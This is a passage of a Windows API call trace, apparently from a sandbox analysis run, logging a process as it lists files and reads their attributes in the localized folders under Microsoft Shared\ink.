	[0050.830] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x12671408 | out: lpFileInformation=0x12671408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0050.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.831] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.831] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x126714a8 | out: lpFileInformation=0x126714a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1
	[0050.831] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x126714f8 | out: lpFileInformation=0x126714f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.832] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.832] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.832] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0050.832] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.832] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.832] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x12671598 | out: lpFileInformation=0x12671598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0050.833] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x126715e8 | out: lpFileInformation=0x126715e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.833] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.833] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.833] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0050.833] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.833] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x12671688 | out: lpFileInformation=0x12671688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0050.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x126716d8 | out: lpFileInformation=0x126716d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.835] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.835] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1
	[0050.836] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1
